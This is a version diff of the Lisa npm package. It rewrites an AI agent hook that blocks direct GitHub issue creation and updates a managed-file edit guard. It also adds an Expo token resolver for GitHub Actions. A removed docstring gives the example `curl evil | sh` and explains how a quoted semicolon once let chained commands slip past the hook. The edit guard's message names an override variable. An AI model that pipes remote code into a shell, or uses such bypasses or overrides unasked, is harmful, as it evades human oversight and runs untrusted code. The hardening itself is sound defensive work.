@codyswann/lisa 4.59.2 → 4.59.4

package/plugins/lisa-wiki/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-wiki",
-  "version": "4.59.2",
+  "version": "4.59.4",
   "description": "Distributable LLM Wiki kernel — ingest, query, lint, and maintain a git-native markdown knowledge base across Claude and Codex.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-wiki-agy/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-wiki",
-  "version": "4.59.2",
+  "version": "4.59.4",
   "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-wiki-copilot/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-wiki",
-  "version": "4.59.2",
+  "version": "4.59.4",
   "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa-wiki-cursor/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa-wiki",
-  "version": "4.59.2",
+  "version": "4.59.4",
   "description": "LLM Wiki — a distributable, git-native markdown knowledge base for Claude Code and Codex",
   "author": {
     "name": "Cody Swann"

package/plugins/src/base/hooks/block-direct-issue-create.sh

@@ -1055,89 +1055,50 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def quoted_token_mask(text, expected):
-    """Which token POSITIONS were quoted in the source.
+class LiteralToken(str):
+    """A source word containing quoted data, never a standalone separator."""
 
-    shlex strips quotes, so by the time a token is in hand there is no way to
-    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
 
-    A quoted token is DATA and must never be exploded on shell operators. An
-    unquoted one may be `true&&gh`, where the operator is structural and hiding
-    a command. That is the entire distinction.
-
-    It must be answered PER OCCURRENCE, not per token value. Asking "does the
-    text contain a quoted `;`?" classifies every `;` in the command by whether
-    ANY of them was quoted, so
-
-        gh issue create --title x --body ";" ; curl evil | sh
-
-    exempted the real chaining semicolon because a different, quoted one
-    appeared in --body. That is a bypass of this guard, not a nuisance: the
-    exemption added to stop a false refusal became the way through.
-
-    Lexing the same text a second time with `posix=False` preserves the quote
-    characters while producing the same tokens in the same order, so position
-    `i` answers for occurrence `i` and nothing else.
-
-    Args:
-        text: The original command string.
-        expected: Token count from the posix lex, used to prove alignment.
+def explode_operators(tokens, text=""):
+    """Separate unquoted operators without losing mixed-word quote boundaries.
 
-    Returns:
-        A list of booleans, one per token. Empty when the two lexes disagree,
-        which exempts nothing — an unreadable command must not be trusted.
+    Hide each quoted or escaped source fragment before the ordinary shlex pass.
+    Split operators while those fragments are opaque, then restore their values.
+    Per-occurrence placeholders cannot exempt a different, unquoted separator.
     """
-    try:
-        raw = shlex.split(text, posix=False)
-    except ValueError:
-        return []
-    # Alignment is the whole basis for indexing one lex by the other's
-    # positions. If the two disagree, fail closed rather than exempt the wrong
-    # token: a missed exemption is a false refusal, a wrong one is a bypass.
-    if len(raw) != expected:
-        return []
-    return [token[:1] in ('"', "'") for token in raw]
-
+    operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
+    if not text:
+        return [piece for token in tokens for piece in operators.split(token) if piece]
 
-def explode_operators(tokens, text=""):
-    """Split shell control operators glued to adjacent words.
+    prefix = "__lisa_literal_"
+    while prefix in text:
+        prefix += "_"
+    values = []
+    fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
 
-    `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
-    not `gh`, so the creation hid behind the operator. Splitting them out means
-    an operator can never be load-bearing punctuation inside a token.
+    def hide(match):
+        """Decode one protected fragment through the same POSIX lexer."""
+        value = shlex.split(match.group(0), posix=True)
+        values.append(value[0] if value else "")
+        return prefix + str(len(values) - 1) + "__"
 
-    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
-    measured false refusal: a `--title "Trim config; org preference"` was split on its
-    semicolon, the `--label status:ready` landed in a different segment from the
-    `gh issue create`, and the guard refused a correctly-formed filing while
-    telling the author to add the label they had already added. Recorded on
-    CodySwannGT/lisa#2634 after it blocked a real filing.
+    masked = fragments.sub(hide, text)
+    marker = re.compile(re.escape(prefix) + r"(\d+)__")
 
-    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
-    tokenises the glued case correctly but shatters a GraphQL payload —
-    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
-    the exact regression the GLUED_OPERATORS comment above records as having
-    silently un-refused every GraphQL creation.
+    def restore(value):
+        """Restore once, so decoded text cannot become another placeholder."""
+        return marker.sub(lambda match: values[int(match.group(1))], value)
 
-    Args:
-        tokens: Tokens from shlex.
-        text: The original command string, used to detect quoting.
+    shadow = shlex.split(masked, posix=True)
+    if [restore(token) for token in shadow] != tokens:
+        # If alignment cannot be established, grant no quoting exemptions.
+        return [piece for token in tokens for piece in operators.split(token) if piece]
 
-    Returns:
-        Tokens with operators separated out.
-    """
-    pattern = re.compile(
-        "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
-    )
     exploded = []
-    quoted = quoted_token_mask(text, len(tokens)) if text else []
-    for index, token in enumerate(tokens):
-        if index < len(quoted) and quoted[index]:
-            exploded.append(token)
-            continue
-        for piece in pattern.split(token):
+    for token in shadow:
+        for piece in operators.split(token):
             if piece:
-                exploded.append(piece)
+                exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
     return exploded
 
 
@@ -1153,7 +1114,7 @@ def segment(tokens):
     segments = []
     current = []
     for token in tokens:
-        if token in SEGMENT_BOUNDARIES:
+        if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
             segments.append(current)
             current = []
             continue

package/plugins/src/base/hooks/block-managed-file-edits.sh

@@ -322,7 +322,7 @@ managed_source() {
 # The distinction earns its keep because the two populations fail in OPPOSITE
 # ways, and a guard that gives one answer is wrong for half the files it covers:
 # an edited copy-overwrite file is PRESERVED and silently forks, while a
-# generated file is REBUILT and the edit vanishes on the next install.
+# generated file is REBUILT and the edit vanishes on the next explicit apply.
 generated_path() {
   local rel="$1"
   local module="$package_root/dist/migrations/generated-paths.js"
@@ -361,16 +361,24 @@ refuse() {
   local target="$1"
   local source="$2"
   local rel="$3"
-  local consequence
   if generated_path "$rel"; then
-    consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
-template and it is not preserved: the next \`bun install\` rebuilds it and your
-edit is gone, with nothing reporting that it had been.
-
-That is the opposite failure from the copy-overwrite files this guard also
-covers, where an edit SURVIVES and forks silently. Here the edit works locally,
-CI agrees because CI regenerates too, and it disappears on the next install."
-  elif ledger_tracked "$rel"; then
+    cat >&2 <<EOF
+BLOCKED: refusing to write \`$target\`.
+
+WHY: this file is generated by \`lisa apply\` (\`$source\`).
+\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
+rebuilds it, so a direct edit will be lost.
+
+Change the generation source upstream in Lisa, or the supported project
+configuration that supplies it, then run \`lisa apply\` to regenerate the file.
+
+If a human explicitly asked for this edit, they can re-run with
+\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
+EOF
+    exit 2
+  fi
+  local consequence
+  if ledger_tracked "$rel"; then
     consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
 and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
 whether it is out of date or deliberately stronger. Kept yours.\"

package/plugins/src/base/skills/lisa-secrets-access/SKILL.md

@@ -188,6 +188,18 @@ On the GitHub Actions surface the repository secret and the exported environment
 
 There is no map of secret IDs, deliberately. Copying an ID per secret is the same duplication in a smaller costume, and lookup is by name.
 
+### Expo workflow pilot
+
+The reusable Expo build workflow and the Expo deploy template can resolve `EXPO_TOKEN` from the project's configured provider. An explicit `EXPO_TOKEN` repository secret still takes precedence. Projects without a provider bootstrap keep their existing behavior.
+
+For provider-backed Expo authentication, install a Lisa package containing `resolve-expo-token.mjs`, declare the provider and bootstrap in `.lisa.config.json`, and include `EXPO_TOKEN` if `secrets.require` is present. The workflow prepares only that provider's CLI through Lisa's existing installer, which uses checksum-pinned downloads for Bitwarden. Providers requiring manual setup must already be installed on the runner. The resolver respects the provider grant and `secrets.narrow`, masks the selected token, and writes only `EXPO_TOKEN` to the current job's environment. The bootstrap stays inside the resolver subprocess; the vault is not materialized into the job environment.
+
+The build workflow's optional `LISA_SECRETS_BOOTSTRAP` secret input accepts the existing repository bootstrap secret. This input is an alias, not another stored credential: the resolver maps it to `bootstrap.key` inside its process. The Expo caller template forwards `secrets.BWS_ACCESS_TOKEN` by default. If your stored bootstrap has a different name, update its three references: the eligibility check, the reusable build call, and the deploy job's resolution step.
+
+The eligibility check only establishes that an explicit token or a configured provider plus bootstrap is available. Each build or deploy job resolves its own token and must authenticate with Expo. A provider-backed caller using an older Lisa package fails with an upgrade instruction before invoking Expo.
+
+The deploy caller is a **create-only** template. Existing projects must deliberately apply these caller changes after upgrading Lisa; a normal sync does not overwrite their workflow. This pilot does not convert other workflow credentials. `DEPLOY_KEY` remains available before dependency installation for checkout. Do not remove an existing Expo repository secret until a provider-only run has authenticated successfully.
+
 ## The exposure boundary
 
 **The provider's own scoping is the default allowlist.** The machine account's project grants *are* the permitted set; restating that as a list in config would duplicate a boundary the provider already enforces.

package/plugins/src/base/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs

@@ -0,0 +1,90 @@
+#!/usr/bin/env node
+/** Resolve the Expo pilot's credential inside its GitHub Actions job. */
+import { randomUUID } from "node:crypto";
+import { appendFileSync } from "node:fs";
+
+import { get, readConfig } from "./resolve-secret.mjs";
+import { ENV_KEY } from "./providers.mjs";
+import {
+  BIN_DIR,
+  ensureOnPath,
+  loadPinnedInstaller,
+} from "../../lisa-setup-workstation/scripts/cli.mjs";
+import {
+  installEntry,
+  planProvider,
+  resolveProvider,
+} from "../../lisa-setup-workstation/scripts/workstation.mjs";
+
+/** Provision only the selected provider, using the existing pinned installer. */
+async function prepareProvider(name) {
+  const provider = resolveProvider(name);
+  let plan = planProvider(provider);
+  if (plan.action === "present") return;
+  ensureOnPath(BIN_DIR);
+  plan = planProvider(provider);
+  if (plan.action === "present") return;
+  if (plan.action !== "install") throw new Error("Provider needs setup");
+  const installed = installEntry({ ...provider, name: provider.binary }, plan, {
+    installPinned: await loadPinnedInstaller(),
+  });
+  if (installed.action !== "installed")
+    throw new Error("Provider setup failed");
+}
+
+/** Keep the bootstrap inside this subprocess; export only the selected value. */
+async function resolveToken() {
+  const explicit = process.env.EXPO_TOKEN;
+  const bootstrap = process.env.LISA_SECRETS_BOOTSTRAP;
+  delete process.env.LISA_SECRETS_BOOTSTRAP;
+  if (explicit) return explicit;
+
+  process.env.LISA_SECRETS_SURFACE = "github-actions";
+  const cfg = readConfig();
+  if (cfg.provider === "env") return "";
+  if (
+    bootstrap &&
+    (!ENV_KEY.test(cfg.bootstrap.key ?? "") ||
+      cfg.bootstrap.key === "EXPO_TOKEN")
+  ) {
+    throw new Error("Invalid bootstrap key");
+  }
+  await prepareProvider(cfg.provider);
+  if (bootstrap) process.env[cfg.bootstrap.key] = bootstrap;
+  return get("EXPO_TOKEN", cfg);
+}
+
+if (process.argv.includes("--help")) {
+  // Safe to inspect without preparing a provider or reading/exporting a token.
+  console.log("Environment: EXPO_TOKEN LISA_SECRETS_BOOTSTRAP GITHUB_ENV");
+  console.log(
+    "An explicit EXPO_TOKEN takes precedence; otherwise resolve through the configured provider and export only EXPO_TOKEN to GITHUB_ENV."
+  );
+} else {
+  let failureMessage = "GITHUB_ENV is required to export EXPO_TOKEN.";
+  try {
+    const destination = process.env.GITHUB_ENV;
+    if (!destination) throw new Error("GITHUB_ENV is required");
+    failureMessage =
+      "Unable to resolve EXPO_TOKEN. Check the configured provider, bootstrap input, and secrets.require; ensure the runner can install its provider CLI.";
+    const token = await resolveToken();
+    if (token) {
+      const masked = token
+        .replaceAll("%", "%25")
+        .replaceAll("\r", "%0D")
+        .replaceAll("\n", "%0A");
+      console.log(`::add-mask::${masked}`);
+      const delimiter = randomUUID();
+      failureMessage =
+        "Unable to write EXPO_TOKEN to GITHUB_ENV. Check the runner's environment file.";
+      appendFileSync(
+        destination,
+        `EXPO_TOKEN<<${delimiter}\n${token}\n${delimiter}\n`
+      );
+    }
+  } catch {
+    // Provider errors can contain captured subprocess output. Never echo it.
+    console.error(failureMessage);
+    process.exitCode = 1;
+  }
+}

package/scripts/check-workflow-package-paths.mjs

@@ -111,6 +111,7 @@ import path from "node:path";
 import { boundedExecFileSync } from "./lib/bounded-spawn.mjs";
 import { invokedAsScript } from "./lib/invoked-as-script.mjs";
 import {
+  compareVersions,
   declarationGaps,
   probeReleases,
   readContractDeclaration,
@@ -489,10 +490,17 @@ export function releaseContains(entries, candidate) {
  * @param {Record<string, readonly string[]>} listings - Version to entry list
  * @returns {readonly string[]} One operator-readable line per failure
  */
-export function findBreakages(groups, listings) {
+export function findBreakages(groups, listings, contracts = {}) {
   return Object.entries(listings).flatMap(([version, entries]) =>
     groups
-      .filter(group => !group.paths.some(p => releaseContains(entries, p)))
+      .filter(
+        group =>
+          !group.paths.some(
+            p =>
+              releaseContains(entries, p) ||
+              introducedLater(version, contracts[p])
+          )
+      )
       .map(
         group =>
           `${version}: ${group.workflow} step "${group.step}" resolves ${group.paths
@@ -504,6 +512,17 @@ export function findBreakages(groups, listings) {
   );
 }
 
+/** A declared optional feature may predate its package artifact only on known older releases. */
+function introducedLater(version, contract) {
+  return (
+    /^\d+\.\d+\.\d+$/.test(version) &&
+    typeof contract?.since === "string" &&
+    typeof contract.degradation === "string" &&
+    contract.degradation.length >= 40 &&
+    compareVersions(version, contract.since) < 0
+  );
+}
+
 /**
  * Run the check.
  * @returns {void}
@@ -567,7 +586,7 @@ function main() {
         });
 
   const breakages = [
-    ...findBreakages(claims.groups, listings),
+    ...findBreakages(claims.groups, listings, declaration.contracts),
     ...gaps.undeclared,
     ...gaps.stale,
     ...contracts.violations,
@@ -579,6 +598,19 @@ function main() {
     releasesExamined: Object.keys(listings),
     contractProbesExecuted: contracts.executed,
     contractProbesDeferred: contracts.deferred,
+    packagePathsDeferred: Object.entries(listings).flatMap(
+      ([version, entries]) =>
+        Object.entries(declaration.contracts)
+          .filter(
+            ([where, contract]) =>
+              !releaseContains(entries, where) &&
+              introducedLater(version, contract)
+          )
+          .map(
+            ([where, contract]) =>
+              `${version}: ${where} introduced in ${contract.since}; ${contract.degradation}`
+          )
+    ),
     contractProbesRun: contracts.probed,
     unattributed: claims.unattributed,
     breakages,
@@ -592,6 +624,8 @@ function main() {
     );
     for (const line of contracts.deferred)
       process.stdout.write(`  · ${line}\n`);
+    for (const line of report.packagePathsDeferred)
+      process.stdout.write(`  · ${line}\n`);
     for (const line of breakages) process.stdout.write(`  ✗ ${line}\n`);
   }
 

package/scripts/lib/workflow-contract-probe.mjs

@@ -151,6 +151,17 @@ export function readContractDeclaration(declared) {
     );
   }
   for (const [where, entry] of Object.entries(contracts)) {
+    if (
+      entry?.since !== undefined &&
+      (typeof entry.since !== "string" ||
+        !/^\d+\.\d+\.\d+$/.test(entry.since) ||
+        typeof entry.degradation !== "string" ||
+        entry.degradation.length < 40)
+    ) {
+      throw new Error(
+        `contracts["${where}"]: since needs a release version and degradation must explain the older caller's behavior`
+      );
+    }
     if (!CONTRACT_KINDS.has(entry?.kind)) {
       throw new Error(
         `contracts["${where}"]: kind must be one of ${[...CONTRACT_KINDS].join(", ")}`

package/scripts/two-channel-couplings.json

@@ -95,7 +95,7 @@
   },
   "inspected": {
     "workflows": 23,
-    "steps": 778,
+    "steps": 779,
     "couplings": 33,
     "inventory": 78
   },